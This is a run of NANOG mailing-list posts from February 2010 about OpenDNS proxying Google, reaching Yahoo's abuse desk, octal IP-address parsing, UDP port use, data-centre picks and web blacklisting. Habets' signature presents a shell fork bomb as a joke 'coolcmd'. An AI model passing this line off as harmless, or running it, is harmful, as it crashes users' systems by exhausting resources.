anyone is experiencing the same problem with google and openDNS on their end or knows what's going on there with openDNS. The problem just occurred about 20 minutes ago. Trace is as follows: http://inetpro.org/pastebin/2418 Kind regards, Mark From jarenangerbauer at gmail.com Tue Feb 9 08:39:20 2010 From: jarenangerbauer at gmail.com (Jaren Angerbauer) Date: Tue, 9 Feb 2010 07:39:20 -0700 Subject: Yahoo abuse In-Reply-To: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> Message-ID: <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> On Tue, Feb 9, 2010 at 5:54 AM, John Peach wrote: > Does anyone know how to get Yahoo abuse to recognize that they're > hosting a phishing site? All I can ever get back from them is > boilerplate telling me they know how frustrating it is to get spam, > that it did not originate from them and how to read the headers. Not > half as frustrating as their ignorance. > Not sure which Yahoo form you are filling out. The phishing complaint I submitted got a pretty quick response: http://help.yahoo.com/l/us/yahoo/security/forms/phishing.html --Jaren From mark at edgewire.sg Tue Feb 9 08:43:21 2010 From: mark at edgewire.sg (Mark) Date: Tue, 9 Feb 2010 22:43:21 +0800 Subject: Connectivity problems to google via openDNS In-Reply-To: <4F160DAB-9E4A-4430-83CC-5A92F9B01548@tingvold.com> References: <3AD2E46F-EE38-4AE9-B146-D7C024D73C0B@edgewire.sg> <4F160DAB-9E4A-4430-83CC-5A92F9B01548@tingvold.com> Message-ID: <0D9EC1F7-AAAB-4970-A1B0-33E669549975@edgewire.sg> It's over a vpn from Asia to US. I wouldn't worry about that 280ms latency. :) Kind regards, Mark On Feb 9, 2010, at 10:41 PM, Joachim Tingvold wrote: > On 9. feb. 2010, at 15.32, Mark wrote: >> Just wondering if anyone is experiencing the same problem with >> google and openDNS on their end or knows what's going on there with >> openDNS. The problem just occurred about 20 minutes ago. >> >> Trace is as follows: http://inetpro.org/pastebin/2418 > > I'd say ~280 ms to your first hop sound's more disturbing then not > being able to reach Google (-: > > > -- > Joachim Tingvold > joachim at tingvold.com From john-nanog at johnpeach.com Tue Feb 9 08:47:12 2010 From: john-nanog at johnpeach.com (John Peach) Date: Tue, 9 Feb 2010 09:47:12 -0500 Subject: Yahoo abuse In-Reply-To: <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> Message-ID: <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> Damn forms; whatever happened to abuse@ addresses? On Tue, 9 Feb 2010 07:39:20 -0700 Jaren Angerbauer wrote: > On Tue, Feb 9, 2010 at 5:54 AM, John Peach > wrote: > > Does anyone know how to get Yahoo abuse to recognize that they're > > hosting a phishing site? All I can ever get back from them is > > boilerplate telling me they know how frustrating it is to get spam, > > that it did not originate from them and how to read the headers. Not > > half as frustrating as their ignorance. > > > > Not sure which Yahoo form you are filling out. The phishing complaint > I submitted got a pretty quick response: > > http://help.yahoo.com/l/us/yahoo/security/forms/phishing.html > > --Jaren > -- John From drew.weaver at thenap.com Tue Feb 9 08:50:05 2010 From: drew.weaver at thenap.com (Drew Weaver) Date: Tue, 9 Feb 2010 09:50:05 -0500 Subject: Yahoo abuse In-Reply-To: <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> Message-ID: They were likely spammed out of existence. Half of the time our abuse people spend is wading through the spam at the abuse@ addresses =) Kind of ironic ;-) You can't really use anti-spam tech on there because people are literally forwarding you spam ;-) -Drew -----Original Message----- From: John Peach [mailto:john-nanog at johnpeach.com] Sent: Tuesday, February 09, 2010 9:47 AM To: nanog at nanog.org Subject: Re: Yahoo abuse Damn forms; whatever happened to abuse@ addresses? On Tue, 9 Feb 2010 07:39:20 -0700 Jaren Angerbauer wrote: > On Tue, Feb 9, 2010 at 5:54 AM, John Peach > wrote: > > Does anyone know how to get Yahoo abuse to recognize that they're > > hosting a phishing site? All I can ever get back from them is > > boilerplate telling me they know how frustrating it is to get spam, > > that it did not originate from them and how to read the headers. Not > > half as frustrating as their ignorance. > > > > Not sure which Yahoo form you are filling out. The phishing complaint > I submitted got a pretty quick response: > > http://help.yahoo.com/l/us/yahoo/security/forms/phishing.html > > --Jaren > -- John From jabley at hopcount.ca Tue Feb 9 08:50:05 2010 From: jabley at hopcount.ca (Joe Abley) Date: Tue, 9 Feb 2010 09:50:05 -0500 Subject: Connectivity problems to google via openDNS In-Reply-To: <0D9EC1F7-AAAB-4970-A1B0-33E669549975@edgewire.sg> References: <3AD2E46F-EE38-4AE9-B146-D7C024D73C0B@edgewire.sg> <4F160DAB-9E4A-4430-83CC-5A92F9B01548@tingvold.com> <0D9EC1F7-AAAB-4970-A1B0-33E669549975@edgewire.sg> Message-ID: <4AB1E7D8-1CB0-4A3B-8FE3-3206C4C1F9EB@hopcount.ca> On 2010-02-09, at 09:43, Mark wrote: > It's over a vpn from Asia to US. I wouldn't worry about that 280ms latency. :) Note that you're not trying to reach google, either. OpenDNS is returning you addresses for their own proxies. I believe they do this as part of some of their content-control services to allow you to limit the kind of search queries you (or your users, depending on who decided to use OpenDNS) are able to do. So while the user problem may be "can't reach google" perhaps the engineering problem is "can't get response from OpenDNS proxy". Joe From mpetach at netflight.com Tue Feb 9 08:50:52 2010 From: mpetach at netflight.com (Matthew Petach) Date: Tue, 9 Feb 2010 06:50:52 -0800 Subject: Yahoo abuse In-Reply-To: <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> Message-ID: <63ac96a51002090650t65aae742j6ca348a033447f09@mail.gmail.com> On Tue, Feb 9, 2010 at 6:47 AM, John Peach wrote: > Damn forms; whatever happened to abuse@ addresses? > They got abused. :/ Matt From shane at short.id.au Tue Feb 9 08:52:07 2010 From: shane at short.id.au (Shane Short) Date: Tue, 9 Feb 2010 22:52:07 +0800 Subject: Yahoo abuse In-Reply-To: <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> Message-ID: <690D8673-76A2-4987-B0D1-EDFD1BBC6C1F@short.id.au> SPAM, at a guess :) On 09/02/2010, at 10:47 PM, John Peach wrote: > Damn forms; whatever happened to abuse@ addresses? > > > > On Tue, 9 Feb 2010 07:39:20 -0700 > Jaren Angerbauer wrote: > >> On Tue, Feb 9, 2010 at 5:54 AM, John Peach >> wrote: >>> Does anyone know how to get Yahoo abuse to recognize that they're >>> hosting a phishing site? All I can ever get back from them is >>> boilerplate telling me they know how frustrating it is to get spam, >>> that it did not originate from them and how to read the headers. Not >>> half as frustrating as their ignorance. >>> >> >> Not sure which Yahoo form you are filling out. The phishing complaint >> I submitted got a pretty quick response: >> >> http://help.yahoo.com/l/us/yahoo/security/forms/phishing.html >> >> --Jaren >> > > > -- > John > From mark at edgewire.sg Tue Feb 9 08:52:24 2010 From: mark at edgewire.sg (Mark) Date: Tue, 9 Feb 2010 22:52:24 +0800 Subject: Connectivity problems to google via openDNS In-Reply-To: <4AB1E7D8-1CB0-4A3B-8FE3-3206C4C1F9EB@hopcount.ca> References: <3AD2E46F-EE38-4AE9-B146-D7C024D73C0B@edgewire.sg> <4F160DAB-9E4A-4430-83CC-5A92F9B01548@tingvold.com> <0D9EC1F7-AAAB-4970-A1B0-33E669549975@edgewire.sg> <4AB1E7D8-1CB0-4A3B-8FE3-3206C4C1F9EB@hopcount.ca> Message-ID: <257D949D-522A-4630-9311-C624868A38AB@edgewire.sg> Doh. Didn't realize that. Thanks for the heads up Joe. I'll go take another look. Thanks in advance! Kind regards, Mark On Feb 9, 2010, at 10:50 PM, Joe Abley wrote: > > On 2010-02-09, at 09:43, Mark wrote: > >> It's over a vpn from Asia to US. I wouldn't worry about that 280ms >> latency. :) > > Note that you're not trying to reach google, either. > > OpenDNS is returning you addresses for their own proxies. I believe > they do this as part of some of their content-control services to > allow you to limit the kind of search queries you (or your users, > depending on who decided to use OpenDNS) are able to do. > > So while the user problem may be "can't reach google" perhaps the > engineering problem is "can't get response from OpenDNS proxy". > > > Joe > From swmike at swm.pp.se Tue Feb 9 08:53:10 2010 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Tue, 9 Feb 2010 15:53:10 +0100 (CET) Subject: Yahoo abuse In-Reply-To: <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> Message-ID: On Tue, 9 Feb 2010, John Peach wrote: > Damn forms; whatever happened to abuse@ addresses? A few years I proposed a standard way to report abuse by email (X-headers) but nobody was interested. I suspect forms are because the abuse desks want necessary information in a structured way that doesn't have to be manually processed each time, plus trying to hunt people who can't realise what information is needed to do a proper abuse complaint. -- Mikael Abrahamsson email: swmike at swm.pp.se From mpetach at netflight.com Tue Feb 9 08:58:10 2010 From: mpetach at netflight.com (Matthew Petach) Date: Tue, 9 Feb 2010 06:58:10 -0800 Subject: Yahoo abuse In-Reply-To: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> Message-ID: <63ac96a51002090658y163240f8ye2fcaf009b306627@mail.gmail.com> On Tue, Feb 9, 2010 at 4:54 AM, John Peach wrote: > Does anyone know how to get Yahoo abuse to recognize that they're > hosting a phishing site? All I can ever get back from them is > boilerplate telling me they know how frustrating it is to get spam, > that it did not originate from them and how to read the headers. Not > half as frustrating as their ignorance. > -- > John If anyone out there is good at handling abuse complaints, or at writing abuse-handling systems, and is contemplating a career change, please consider helping out; there's a whole raft of anti-abuse positions that need filling, and if we can get good people to fill them, they can help make it less frustrating to get these issues resolved. Here's a couple of key positions that are in serious need of filling, and have been open for several months now: http://careers.yahoo.com/jdescription.php?frm=jsres&oid=25937 http://careers.yahoo.com/jdescription.php?frm=jsres&oid=27908 for the whole list of anti-abuse positions that need filling... http://careers.yahoo.com/jsearchresults.php?key=abuse&jcat=&city=&submit=submit&submit=submit&submit=submit Without good people in those roles, it'll be hard for the folks on lists like this to get the level of responsiveness they're looking for. So, if you know people who would be good in these positions, send them along--the sooner the spots get filled, and people start cranking, the better we can deal with issues like this. Thanks! Matt (trying not to speak for anyone in particular...but not doing a terribly good job of it) From thomas at habets.pp.se Tue Feb 9 09:01:19 2010 From: thomas at habets.pp.se (Thomas Habets) Date: Tue, 9 Feb 2010 16:01:19 +0100 (CET) Subject: Regular Expression for IPv6 addresses In-Reply-To: <201002050102.o1512BEf012071@drugs.dv.isc.org> References: <4912284@blitz.dartware.com> <4B6B66FF.50108@spaghetti.zurich.ibm.com> <201002050102.o1512BEf012071@drugs.dv.isc.org> Message-ID: On Fri, 5 Feb 2010, Mark Andrews wrote: > And now for the trick question. Is ::ffff:077.077.077.077 a legal > mapped address and if it, does it match 077.077.077.077? Forget IPv6. The first question is does 077.077.077.077 match 077.077.077.077 in IPv4? The answer is a long one full of different answers depending on who's doing the parsing (gethostbyname(), inet_aton(), inet_net_pton(), etc..) and on what OS. And also on many bugs. And don't count on the documentation being right either, or parsers respecting standards (single unix or RFCs, or which one when they conflict). And don't expect an error code if you feed 080.080.080.080 into a parser, even one that *does* read it as octal. Don't prefix IP (v4) address octets with zero wether you expect it to be treated as octal or not. Just don't. World of hurt and all that. E.g.: http://kerneltrap.org/mailarchive/openbsd-bugs/2009/6/6/5882713/thread We should all do like one vendor I've seen where you enter the IP (v4) address in binary... and then pad with zeroes to whatever size html form wanted. Yes, this decade. --------- typedef struct me_s { char name[] = { "Thomas Habets" }; char email[] = { "thomas at habets.pp.se" }; char kernel[] = { "Linux" }; char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt" }; char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" }; char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" }; } me_t; From jess at corenap.com Tue Feb 9 10:34:20 2010 From: jess at corenap.com (Jess Cohen) Date: Tue, 9 Feb 2010 10:34:20 -0600 Subject: Yahoo abuse In-Reply-To: References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> Message-ID: <8F348D9D79ADA24993FCE45FE44F162401BA31584E71@exchange01.corp.corenap.com> Having managed an abuse desk, I can honestly say that sometimes the amount of email you receive can be overwhelming. There were times I was receiving 30k-50k emails a day. It's easy for some to get lost. On that note, dealing with Yahoo! has been a constant pain. I think they've grown so large that their abuse department is lost in the shuffle. I've been having problems with them automatically greylisting all our IP blocks so that they default to the Yahoo! spam folder unless we send the bulk mail form in 8 bazillion times and being able to contact a human is nearly impossible. Consequently, I have acquired multiple POC's in the abuse/postmaster departments. Here are the addresses I use to contact people. abuse-admin at cc.yahoo-inc.com mail-abuse-bulk at cc.yahoo-inc.com mail-classic-errors at cc.yahoo-inc.com ynoc-request at yahoo-inc.com (because we peer with them, sometimes I am able to get them to get someones attention in the abuse department through the NOC though I hate using this route as they are busy enough already.) and the phone number for postmaster/email customer care is 408-349-1572 Hopefully one of these will help you out. Jessica -----Original Message----- From: Mikael Abrahamsson [mailto:swmike at swm.pp.se] Sent: Tuesday, February 09, 2010 8:53 AM To: nanog at nanog.org Subject: Re: Yahoo abuse On Tue, 9 Feb 2010, John Peach wrote: > Damn forms; whatever happened to abuse@ addresses? A few years I proposed a standard way to report abuse by email (X-headers) but nobody was interested. I suspect forms are because the abuse desks want necessary information in a structured way that doesn't have to be manually processed each time, plus trying to hunt people who can't realise what information is needed to do a proper abuse complaint. -- Mikael Abrahamsson email: swmike at swm.pp.se From michael.holstein at csuohio.edu Tue Feb 9 11:02:16 2010 From: michael.holstein at csuohio.edu (Michael Holstein) Date: Tue, 09 Feb 2010 12:02:16 -0500 Subject: about udp 80,8080,0 In-Reply-To: <0.89897600_1265716669@chol.com> References: <0.89897600_1265716669@chol.com> Message-ID: <4B719518.8000300@csuohio.edu> > What does application use 8.8080,0 port for the proper purpose? > > I've seen newer BitTorrent clients do this (UDP is supported, and the port can be arbitrary). Cheers, Michael Holstein Cleveland State University From Crist.Clark at globalstar.com Tue Feb 9 11:41:07 2010 From: Crist.Clark at globalstar.com (Crist Clark) Date: Tue, 09 Feb 2010 09:41:07 -0800 Subject: .ve WHOIS is Back (was: Re: .ve WHOIS Down?) In-Reply-To: <5CF5FA63-4D20-41F9-B14C-ACA596B5CDF7@daork.net> References: <4B704629.33E4.0097.0@globalstar.com> <5CF5FA63-4D20-41F9-B14C-ACA596B5CDF7@daork.net> Message-ID: <4B712DAF.33E4.0097.0@globalstar.com> >>> On 2/8/2010 at 7:28 PM, Nathan Ward wrote: > On 9/02/2010, at 2:13 PM, Crist Clark wrote: > >> For want of a better place to ask, I'm wondering if anyone monitoring >> this list might know what is up with the registro.nic.ve web site. >> The WHOIS at www.nic.ve refers to that site, and it appears to be down >> (for me and downforeveryoneorjustme.com too). Doing old fashioned >> native WHOIS isn't working any better. > > $ whois -h whois.nic.ve nic.ve > > Servidor Whois de NIC-Venezuela (.VE) > > Este servidor contiene informacion autoritativa exclusivamente de dominios > .VE > Cualquier consulta sobre este servicio, puede hacerla al correo electronico > whois at nic.ve > ... etc. > > I get a proper response, anyway. > > There is no A record in the DNS for ve.whois-servers.net, which is what my > client tries first. Perhaps this is where the confusion lies. Seems to be up now. My WHOIS client is working today and the web site WHOIS is working, so it looks like the site was really just down for a while. Thanks for the response. From Crist.Clark at globalstar.com Tue Feb 9 11:46:19 2010 From: Crist.Clark at globalstar.com (Crist Clark) Date: Tue, 09 Feb 2010 09:46:19 -0800 Subject: .ve WHOIS Down? In-Reply-To: <4B70D3D0.8030900@dougbarton.us> References: <4B704629.33E4.0097.0@globalstar.com> <4B70D3D0.8030900@dougbarton.us> Message-ID: <4B712EE7.33E4.0097.0@globalstar.com> >>> On 2/8/2010 at 7:17 PM, Doug Barton wrote: > On 02/08/10 17:13, Crist Clark wrote: >> For want of a better place to ask, I'm wondering if anyone monitoring >> this list might know what is up with the registro.nic.ve web site. >> The WHOIS at www.nic.ve refers to that site, and it appears to be down >> (for me and downforeveryoneorjustme.com too). Doing old fashioned >> native WHOIS isn't working any better. > > Have you tried the contact listed at > http://www.iana.org/domains/root/db/ve.html by any chance? > > > Doug This, 450 4.1.1 : Recipient address rejected: User unknown in local recipient table Did not bode well for success via that channel. Shoulda mentioned that. And I should drop a courtesy note to the admin contact that the technical contact isn't working. Thanks for reminding me. From jay at west.net Tue Feb 9 11:56:23 2010 From: jay at west.net (Jay Hennigan) Date: Tue, 09 Feb 2010 09:56:23 -0800 Subject: Connectivity problems to google via openDNS In-Reply-To: <3AD2E46F-EE38-4AE9-B146-D7C024D73C0B@edgewire.sg> References: <3AD2E46F-EE38-4AE9-B146-D7C024D73C0B@edgewire.sg> Message-ID: <4B71A1C7.7000804@west.net> Mark wrote: > Hello nanog, > > Just wondering if anyone is experiencing the same problem with google > and openDNS on their end or knows what's going on there with openDNS. > The problem just occurred about 20 minutes ago. Don't do that then. OpenDNS is a form of censorware and almost certainly hijacking queries to Google (and numerous other sites), redirecting to its own servers. -- Jay Hennigan - CCIE #7880 - Network Engineering - jay at impulse.net Impulse Internet Service - http://www.impulse.net/ Your local telephone and internet company - 805 884-6323 - WB6RDV From jeffrey.lyon at blacklotus.net Tue Feb 9 12:01:19 2010 From: jeffrey.lyon at blacklotus.net (Jeffrey Lyon) Date: Tue, 9 Feb 2010 13:01:19 -0500 Subject: about udp 80,8080,0 In-Reply-To: <4B719518.8000300@csuohio.edu> References: <0.89897600_1265716669@chol.com> <4B719518.8000300@csuohio.edu> Message-ID: <16720fe01002091001u6cd637a6y5ce195795f2458b7@mail.gmail.com> If you don't need UDP, disallow it to your entire network or to the /xx where such is applicable. We have basic filters like this with our carriers upstream and have prevented several Gbps of traffic from ever hitting our filters as a result. Jeff 2010/2/9 Michael Holstein : > >> ? ?What does application use 8.8080,0 port for the proper purpose? >> >> > > I've seen newer BitTorrent clients do this (UDP is supported, and the > port can be arbitrary). > > > Cheers, > > Michael Holstein > Cleveland State University > > -- Jeffrey Lyon, Leadership Team jeffrey.lyon at blacklotus.net | http://www.blacklotus.net Black Lotus Communications of The IRC Company, Inc. Follow us on Twitter at http://twitter.com/ddosprotection to find out about news, promotions, and (gasp!) system outages which are updated in real time. Platinum sponsor of HostingCon 2010. Come to Austin, TX on July 19 - 21 to find out how to "protect your booty." From lunchhound9999 at gmail.com Tue Feb 9 13:24:25 2010 From: lunchhound9999 at gmail.com (Lunch Hound) Date: Tue, 9 Feb 2010 11:24:25 -0800 Subject: Data Center recommendations Message-ID: Hi, Who do you like for data centers these days? Looking for a site more than 1000 miles from Chicago. Thanks! From andrey.gordon at gmail.com Tue Feb 9 13:35:25 2010 From: andrey.gordon at gmail.com (Andrey Gordon) Date: Tue, 9 Feb 2010 14:35:25 -0500 Subject: black listing of web traffic Message-ID: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> Hi list I have a problem that I can't seem to find a solution to yet. My student network is being NATted out and anyone who's on that network had troubles accessing random websites. For example, going to www.apple.com or www.facebook.com would work great, but store.apple.com would either not load or take forever to open up. I've had that problem last week and thought I tracked it down to the NAT ip being black listed with one of the span black lists. Even though that IP is not used for mail out, that somehow seemed to affect it. Changing it to a different one seemed to solve the problem and I got that original address of the list in the mean time. Changed it back and everything was well, until today. Same symptoms, but now I don't see us listed anywhere. The best description of the symptoms seems to be that that IP is rate limited or something. Anyone seen that? Are there any blacklists for web access? PS. I checked everything under my control and i don't see a bottle neck anywhere or anything like and IPS working up or something.... ----- Andrey Gordon [andrey.gordon at gmail.com] From sronan at fattoc.com Tue Feb 9 13:39:03 2010 From: sronan at fattoc.com (Shane Ronan) Date: Tue, 9 Feb 2010 14:39:03 -0500 Subject: Data Center recommendations In-Reply-To: References: Message-ID: <65A399BC-2131-4AEE-BF7E-33B3893A71E9@fattoc.com> Equinix On Feb 9, 2010, at 2:24 PM, Lunch Hound wrote: > Hi, > Who do you like for data centers these days? > > Looking for a site more than 1000 miles from Chicago. > > > Thanks! From Chris.Campbell at nebulassolutions.com Tue Feb 9 13:49:56 2010 From: Chris.Campbell at nebulassolutions.com (Chris Campbell) Date: Tue, 9 Feb 2010 19:49:56 +0000 Subject: black listing of web traffic In-Reply-To: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> Message-ID: <3D6386A3-4830-4473-B713-C2865CB92C10@nebulassolutions.com> I know that cisco either are or have integrated the IronPort reputation service into their IPS devices, maybe a check on www.senderbase.org could help. Chris Campbell --------------------- On 9 Feb 2010, at 19:36, "Andrey Gordon" wrote: > Hi list > > I have a problem that I can't seem to find a solution to yet. My > student > network is being NATted out and anyone who's on that network had > troubles > accessing random websites. > For example, going to www.apple.com or www.facebook.com would work > great, > but store.apple.com would either not load or take forever to open up. > > I've had that problem last week and thought I tracked it down to the > NAT ip > being black listed with one of the span black lists. Even though > that IP is > not used for mail out, that somehow seemed to affect it. Changing it > to a > different one seemed to solve the problem and I got that original > address of > the list in the mean time. Changed it back and everything was well, > until > today. > Same symptoms, but now I don't see us listed anywhere. > The best description of the symptoms seems to be that that IP is rate > limited or something. > > Anyone seen that? Are there any blacklists for web access? > > PS. I checked everything under my control and i don't see a bottle > neck > anywhere or anything like and IPS working up or something.... > > > ----- > Andrey Gordon [andrey.gordon at gmail.com] From jlewis at lewis.org Tue Feb 9 13:51:23 2010 From: jlewis at lewis.org (Jon Lewis) Date: Tue, 9 Feb 2010 14:51:23 -0500 (EST) Subject: Data Center recommendations In-Reply-To: References: Message-ID: On Tue, 9 Feb 2010, Lunch Hound wrote: > Hi, > Who do you like for data centers these days? > > Looking for a site more than 1000 miles from Chicago. Can you be a little less specific in what you're looking for in a data center? >1000 miles away puts you in the New England area, the peninsula of FL, most of Texas, Denver, or anywhere further west than that. Other than location, what do you want? ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From bill at herrin.us Tue Feb 9 13:49:31 2010 From: bill at herrin.us (William Herrin) Date: Tue, 9 Feb 2010 14:49:31 -0500 Subject: Data Center recommendations In-Reply-To: References: Message-ID: <3c3e3fca1002091149w7e859554r4f8b8415a37e5808@mail.gmail.com> On Tue, Feb 9, 2010 at 2:24 PM, Lunch Hound wrote: > Who do you like for data centers these days? > > Looking for a site more than 1000 miles from Chicago. DR Fortress in Honolulu. Especially in February. And wouldn't you know it, ORD has direct flights... -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From jlewis at lewis.org Tue Feb 9 13:54:49 2010 From: jlewis at lewis.org (Jon Lewis) Date: Tue, 9 Feb 2010 14:54:49 -0500 (EST) Subject: black listing of web traffic In-Reply-To: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> Message-ID: On Tue, 9 Feb 2010, Andrey Gordon wrote: > I have a problem that I can't seem to find a solution to yet. My student > network is being NATted out and anyone who's on that network had troubles > accessing random websites. > For example, going to www.apple.com or www.facebook.com would work great, > but store.apple.com would either not load or take forever to open up. > > I've had that problem last week and thought I tracked it down to the NAT ip > being black listed with one of the span black lists. Even though that IP is > not used for mail out, that somehow seemed to affect it. Changing it to a > different one seemed to solve the problem and I got that original address of > the list in the mean time. Changed it back and everything was well, until > today. > Same symptoms, but now I don't see us listed anywhere. > The best description of the symptoms seems to be that that IP is rate > limited or something. Other than the Spamhaus DROP list, I've never heard of blacklisting being applied to IP routing. Were some of your IPs somehow on their DROP list? http://www.spamhaus.org/drop/ ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From jess at corenap.com Tue Feb 9 14:08:33 2010 From: jess at corenap.com (Jess Cohen) Date: Tue, 9 Feb 2010 14:08:33 -0600 Subject: Data Center recommendations In-Reply-To: References: Message-ID: <8F348D9D79ADA24993FCE45FE44F162401BA31584E82@exchange01.corp.corenap.com> Corenap. In Austin, Texas. That should cover your 1000 miles pretty easily. www.corenap.com *NOTE: I'm biased because I work there but I've worked at a lot of datacenters and this one is by far my favorite. Jessica -----Original Message----- From: Lunch Hound [mailto:lunchhound9999 at gmail.com] Sent: Tuesday, February 09, 2010 1:24 PM To: nanog at nanog.org Subject: Data Center recommendations Hi, Who do you like for data centers these days? Looking for a site more than 1000 miles from Chicago. Thanks! From rapple at rapidlink.com Tue Feb 9 14:14:17 2010 From: rapple at rapidlink.com (Raleigh Apple) Date: Tue, 09 Feb 2010 15:14:17 -0500 Subject: AT&T Metro E in Atlanta Message-ID: <4B71C219.8020601@rapidlink.com> Anybody have any idea whats going on with AT&T metro E in Atlanta? r From dot at dotat.at Tue Feb 9 14:17:16 2010 From: dot at dotat.at (Tony Finch) Date: Tue, 9 Feb 2010 20:17:16 +0000 Subject: black listing of web traffic In-Reply-To: References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> Message-ID: On Tue, 9 Feb 2010, Jon Lewis wrote: > > Other than the Spamhaus DROP list, I've never heard of blacklisting being > applied to IP routing. The RBL was originally distributed via BGP. Tony. -- f.anthony.n.finch http://dotat.at/ GERMAN BIGHT HUMBER: SOUTHWEST 5 TO 7. MODERATE OR ROUGH. SQUALLY SHOWERS. MODERATE OR GOOD. From darden at armc.org Tue Feb 9 14:21:46 2010 From: darden at armc.org (Darden, Patrick S.) Date: Tue, 9 Feb 2010 15:21:46 -0500 Subject: AT&T Metro E in Atlanta In-Reply-To: <4B71C219.8020601@rapidlink.com> Message-ID: It's been up and down since maybe 11am eastern. We have a ticket in with them, but no response as of yet. --Patrick Darden Athens Regional Medical Center -----Original Message----- From: Raleigh Apple [mailto:rapple at rapidlink.com] Sent: Tuesday, February 09, 2010 3:14 PM To: nanog at nanog.org Subject: AT&T Metro E in Atlanta Anybody have any idea whats going on with AT&T metro E in Atlanta? r From surfer at mauigateway.com Tue Feb 9 14:22:18 2010 From: surfer at mauigateway.com (Scott Weeks) Date: Tue, 9 Feb 2010 12:22:18 -0800 Subject: Data Center recommendations Message-ID: <20100209122218.968C35CA@resin09.mta.everyone.net> --- bill at herrin.us wrote: From: William Herrin On Tue, Feb 9, 2010 at 2:24 PM, Lunch Hound wrote: > Who do you like for data centers these days? > Looking for a site more than 1000 miles from Chicago. DR Fortress in Honolulu. Especially in February. And wouldn't you know it, ORD has direct flights... -------------------------------------------------------- They're good and they peer with HIX. Good surf on the North Shore in Feb, too: http://www.prh.noaa.gov/hnl/pages/SRF.php ;-) scott "Surf along north facing shores will be near 5 feet this morning rising to near 8 feet by late afternoon. Early Wednesday surf will be near 25 feet to as high as 30 feet on outer reefs." From jlewis at lewis.org Tue Feb 9 14:30:55 2010 From: jlewis at lewis.org (Jon Lewis) Date: Tue, 9 Feb 2010 15:30:55 -0500 (EST) Subject: black listing of web traffic In-Reply-To: References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> Message-ID: True...and I was a subscriber, so I should have remembered that...but it was roughly a decade ago and in that form dead most of that time. Irrelevant to this guy's current issue. On Tue, 9 Feb 2010, Tony Finch wrote: > On Tue, 9 Feb 2010, Jon Lewis wrote: >> >> Other than the Spamhaus DROP list, I've never heard of blacklisting being >> applied to IP routing. > > The RBL was originally distributed via BGP. > > Tony. > -- > f.anthony.n.finch http://dotat.at/ > GERMAN BIGHT HUMBER: SOUTHWEST 5 TO 7. MODERATE OR ROUGH. SQUALLY SHOWERS. > MODERATE OR GOOD. > ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From jjohnstone at diamondtech.ca Tue Feb 9 14:42:05 2010 From: jjohnstone at diamondtech.ca (Jeff Johnstone) Date: Tue, 9 Feb 2010 12:42:05 -0800 Subject: Data Center recommendations In-Reply-To: References: Message-ID: <558b776c1002091242h577a341fi40268c76a0f3081f@mail.gmail.com> Have to get out of the gravity well these days to be on the safe side :) cheers Jeff On Tue, Feb 9, 2010 at 11:24 AM, Lunch Hound wrote: > Hi, > Who do you like for data centers these days? > > Looking for a site more than 1000 miles from Chicago. > > > Thanks! > From jdfalk-lists at cybernothing.org Tue Feb 9 14:56:17 2010 From: jdfalk-lists at cybernothing.org (J.D. Falk) Date: Tue, 9 Feb 2010 13:56:17 -0700 Subject: Yahoo abuse In-Reply-To: References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> Message-ID: On Feb 9, 2010, at 7:53 AM, Mikael Abrahamsson wrote: > On Tue, 9 Feb 2010, John Peach wrote: > >> Damn forms; whatever happened to abuse@ addresses? > > A few years 